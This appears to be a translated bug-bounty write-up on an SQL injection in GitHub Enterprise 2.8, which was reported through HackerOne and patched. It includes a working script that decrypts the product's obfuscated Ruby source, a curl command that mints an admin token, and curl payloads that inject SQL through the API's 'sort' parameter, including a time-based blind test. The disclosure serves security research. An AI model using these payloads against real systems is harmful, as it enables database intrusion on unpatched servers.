看我如何发现Github企业版程序SQL注入漏洞并获得5000美刀赏金。GitHub企业版软件是专供公司团体用来部署在内网进行开发服务的商业性应用程序。Github企业版采用标准OVF格式集成,以虚拟机(VM)镜像方式发布,可以在enterprise.github.com网站注册下载45天试用版本,并把其部署在任何虚拟机环境中。通过下载其试用版本软件进行分析,我花了一周时间,发现了其中存在的SQL注入漏洞,并获得了5000美元漏洞赏金。
Github企业版VM环境安装之后的效果如下:
现在,Github搭建完成,接下来就可以在虚拟机系统内进行深入分析。
环境安全性分析
用Nmap发现有6个开启端口:
$ nmap -sT -vv -p 1-65535 192.168.187.145 ... PORT STATE SERVICE 22/tcp open ssh 25/tcp closed smtp 80/tcp open http 122/tcp open smakynet 443/tcp open https 8080/tcp closed http-proxy 8443/tcp open https-alt 9418/tcp open git
这些端口用途初步分析为:
端口22/tcp和9418/tcp可能用于进程haproxy转发后端服务babeld;
端口80/tcp和443/tcp用于Github主要服务;
端口122/tcp用于SSH服务;
端口8443/tcp用于GitHub的管理控制台服务。
由于GitHub的管理控制台需要密码才能实现登录,所以你可以设置密码并通过122端口的SSH服务连接VM环境,SSH连接进入系统之后,检查系统信息发现,几乎所有的Github服务代码都位于目录/data/下:
# ls -al /data/ total 92 drwxr-xr-x 23 root root 4096 Nov 29 12:54 . drwxr-xr-x 27 root root 4096 Dec 28 19:18 .. drwxr-xr-x 4 git git 4096 Nov 29 12:54 alambic drwxr-xr-x 4 babeld babeld 4096 Nov 29 12:53 babeld drwxr-xr-x 4 git git 4096 Nov 29 12:54 codeload drwxr-xr-x 2 root root 4096 Nov 29 12:54 db drwxr-xr-x 2 root root 4096 Nov 29 12:52 enterprise drwxr-xr-x 4 enterprise-manage enterprise-manage 4096 Nov 29 12:53 enterprise-manage drwxr-xr-x 4 git git 4096 Nov 29 12:54 failbotd drwxr-xr-x 3 root root 4096 Nov 29 12:54 git-hooks drwxr-xr-x 4 git git 4096 Nov 29 12:53 github drwxr-xr-x 4 git git 4096 Nov 29 12:54 git-import drwxr-xr-x 4 git git 4096 Nov 29 12:54 gitmon drwxr-xr-x 4 git git 4096 Nov 29 12:54 gpgverify drwxr-xr-x 4 git git 4096 Nov 29 12:54 hookshot drwxr-xr-x 4 root root 4096 Nov 29 12:54 lariat drwxr-xr-x 4 root root 4096 Nov 29 12:54 longpoll drwxr-xr-x 4 git git 4096 Nov 29 12:54 mail-replies drwxr-xr-x 4 git git 4096 Nov 29 12:54 pages drwxr-xr-x 4 root root 4096 Nov 29 12:54 pages-lua drwxr-xr-x 4 git git 4096 Nov 29 12:54 render lrwxrwxrwx 1 root root 23 Nov 29 12:52 repositories -> /data/user/repositories drwxr-xr-x 4 git git 4096 Nov 29 12:54 slumlord drwxr-xr-x 20 root root 4096 Dec 28 19:22 user
查看其中的文件源码,貌似是base64加密的:
GitHub使用了一个自定义的库来加密混淆自身源代码。如果你在谷歌搜索ruby_concealer.so,你会发现一个牛人已经对这种加密方式作了分析,只需在ruby_concealer.so中用rb_f_puts替换rb_f_eval即可实现解密。但我们还是实际动手来看看,打开IDA Pro分析一下:
你可以发现,其源程序使用了类Zlib::Inflate::inflate进行数据解压缩,并使用了一段明文KEY作为异或(XOR)操作,然而,让人搞笑的是,这段明文KEY竟然是这样的:
This obfuscation is intended to discourage GitHub Enterprise customers from making modifications to the VM. We know this 'encryption' is easily broken. (我们清楚该加密很容易被破解,但其目的在于防止GitHub企业版用户随意对VM环境进行修改)
哎呀,让人哭笑不得….
有了这些,我们就可以自己构造解密脚本了:
require 'zlib' key = "This obfuscation is intended to discourage GitHub Enterprise customers from making modifications to the VM. We know this 'encryption' is easily broken. " def decrypt(s) i, plaintext = 0, '' Zlib::Inflate.inflate(s).each_byte do |c| plaintext length].ord).chr i += 1 end plaintext end content = File.open(ARGV[0], "r").read content.sub! %Q(require "ruby_concealer.so"\n__ruby_concealer__), " decrypt " plaintext = eval content puts plaintext
代码分析
实现程序源代码解密之后,让我们尝试着进行代码审计:
$ cloc /data/ 81267 text files. 47503 unique files. 24550 files ignored. http://cloc.sourceforge.net v 1.60 T=348.06 s (103.5 files/s, 15548.9 lines/s) ----------------------------------------------------------------------------------- Language files blank comment code ----------------------------------------------------------------------------------- Ruby 25854 359545 437125 1838503 Javascript 4351 109994 105296 881416 YAML 600 1349 3214 289039 Python 1108 44862 64025 180400 XML 121 6492 3223 125556 C 444 30903 23966 123938 Bourne Shell 852 14490 16417 87477 HTML 636 24760 2001 82526 C++ 184 8370 8890 79139 C/C++ Header 428 11679 22773 72226 Java 198 6665 14303 45187 CSS 458 4641 3092 44813 Bourne Again Shell 142 6196 9006 35106 m4 21 3259 369 29433 ... $ ./bin/rake about About your application's environment Ruby version 2.1.7 (x86_64-linux) RubyGems version 2.2.5 {C}Rack version 1.6.4 Rails version 3.2.22.4 JavaScript Runtime Node.js (V8) Active Record version 3.2.22.4 Action Pack version 3.2.22.4 Action Mailer version 3.2.22.4 Active Support version 3.2.22.4 Middleware GitHub::DefaultRoleMiddleware, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::DebugExceptions, ActionDispatch::Callbacks, ActiveRecord::ConnectionAdapters::ConnectionManagement, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, ActionDispatch::Head, Rack::ConditionalGet, Rack::ETag, ActionDispatch::BestStandardsSupport Application root /data/github/9fcdcc8 Environment production Database adapter githubmysql2 Database schema version 20161003225024
从以上分析可以看出大部分为Ruby代码,而且可以发现:
[page]程序通过端口80和443远程连接github.com、gist.github.com和api.github.com在目录/data/github/下更新代码库;
目录/data/render/可能为render.githubusercontent.com代码库;
程序通过8443端口运行目录/data/enterprise-manage/下服务。
漏洞分析
虽然我对Ruby不太熟悉,但经过现学现用,我花了一周的时间发现了这个漏洞,以下我的分析工作日程:
第一天 设置Github虚拟机环境
第二天 设置Github虚拟机环境
第三天 学习Rails进行代码审计
第四天 学习Rails进行代码审计
第五天 学习Rails进行代码审计
第六天 哦也,找到了一个SQL注入漏洞
这个SQL注入漏洞存在于GitHub企业版程序的PreReceiveHookTarget模块中,其根本原因在于/data/github/current/app/model/pre_receive_hook_target.rb文件的第45行:
33 scope :sorted_by, -> (order, direction = nil) {
34 direction = "DESC" == "#{direction}".upcase ? "DESC" : "ASC"
35 select(
36 #{table_name}.*,
37 CASE hookable_type
38 WHEN 'global' THEN 0
39 WHEN 'User' THEN 1
40 WHEN 'Repository' THEN 2
41 END AS priority
42 SQL
43 .joins("JOIN pre_receive_hooks hook ON hook_id = hook.id")
44 .readonly(false)
45 .order([order, direction].join(" "))
46 }
虽然Rails中内置的对象关系映射ActiveRecord in Rails本身不允许SQL注入操作,但一些ActiveRecord的误用实例同样会引起SQL注入。具体可参考学习Rails-sqli.org。在该漏洞情况中,我们可以控制order方法的参数实现恶意代码注入。跟踪观察发现,服务sorted_by被data/github/current/app/api/org_pre_receive_hooks.rb文件的第61行调用:
10 get "/organizations/:organization_id/pre-receive-hooks" do 11 control_access :list_org_pre_receive_hooks, rg => org = find_org! 12 @documentation_url "#list-pre-receive-hooks" 13 targets = PreReceiveHookTarget.visible_for_hookable(org) 14 targets = sort(targets).paginate(pagination) 15 GitHub::PrefillAssociations.for_pre_receive_hook_targets targets 16 deliver :pre_receive_org_target_hash, targets 17 end ... 60 def sort(scope) 61 scope.sorted_by("hook.#{params[:sort] || "id"}", params[:direction] || "asc") {C}62 end
可以清楚地看到params[:sort]被传递给了scope.sorted_by,所以我们可以尝试着向params[:sort]注入恶意代码。
在触发该漏洞之前,接入API需要admin:pre_receive_hook函数具备一个有效的access_token值,高兴的是,我们可以通过以下命令来获取:
$ curl -k -u 'nogg:nogg' 'https://192.168.187.145/api/v3/authorizations' \ -d '{"scopes":"admin:pre_receive_hook","note":"x"}' { "id": 4, "url": "https://192.168.187.145/api/v3/authorizations/4", "app": { "name": "x", "url": "https://developer.github.com/enterprise/2.8/v3/oauth_authorizations/", "client_id": "00000000000000000000" }, "token": "????????", "hashed_token": "1135d1310cbe67ae931ff7ed8a09d7497d4cc008ac730f2f7f7856dc5d6b39f4", "token_last_eight": "1fadac36", "note": "x", "note_url": null, "created_at": "2017-01-05T22:17:32Z", "updated_at": "2017-01-05T22:17:32Z", "scopes": [ "admin:pre_receive_hook" ], "fingerprint": null }
一旦获取到有效的access_token值之后,漏洞就会被触发:
$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \ 'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,(select+1+from+information_schema.tables+limit+1,1)' [ ] $ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \ 'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,(select+1+from+mysql.user+limit+1,1)' { "message": "Server Error", "documentation_url": "https://developer.github.com/enterprise/2.8/v3/orgs/pre_receive_hooks" } $ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \ 'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,if(user()="github@localhost",sleep(5),user()) { ... }
漏洞报送进程
2016/12/26 05:48 通过HackerOne把该漏洞报送给GitHub
2016/12/26 08:39 GitHub给出反馈,表示已通过验证并正在修复;
2016/12/26 15:48 提供给GitHub更多漏洞细节;
2016/12/28 02:44 GitHub反馈表示,漏洞补丁将随GitHub企业版后续更新释出;
2017/01/04 06:41 GitHub回复将给我5000美刀赏金;
2017/01/05 02:37 资询GitHub,是否介意我将此漏洞公开在个人博客;
2017/01/05 03:06 GitHub很爽快地表示,没问题!
2017/01/05 07:06 GitHub Enterprise 2.8.5发布!
如果你对该漏洞感兴趣,可以自己部署Github企业版系统环境进行深入分析。